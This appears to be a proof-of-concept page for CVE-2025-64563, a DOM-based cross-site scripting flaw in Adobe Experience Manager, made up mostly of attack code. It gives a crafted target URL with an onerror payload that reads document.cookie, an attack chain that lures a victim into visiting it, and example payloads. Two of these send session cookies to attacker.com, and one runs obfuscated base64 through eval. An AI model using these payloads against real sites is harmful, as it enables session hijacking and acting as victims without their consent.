CVE-2025-64563 Adobe Experience Manager DOM型XSS漏洞

// CVE-2025-64563 PoC - Adobe Experience Manager DOM-based XSS // Example malicious URL that triggers the XSS vulnerability const pocUrl = 'https://<target>/aem/start.html?param=<img src=x onerror=alert(document.cookie)>'; // Attack chain: 1. Attacker crafts malicious URL with XSS payload // 2. Lures victim to click/visit the URL // 3. Browser parses and executes the malicious script // 4. Attacker steals session cookies or performs actions on behalf of victim console.log('PoC URL for CVE-2025-64563:'); console.log(pocUrl); // Example payload structure: // <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // <img src=x onerror='eval(atob("YWxlcnQoJ1hTUyBPdmVycmlkZScpOw=="))'> // <svg/onload=document.location='https://attacker.com/log?data='+document.cookie>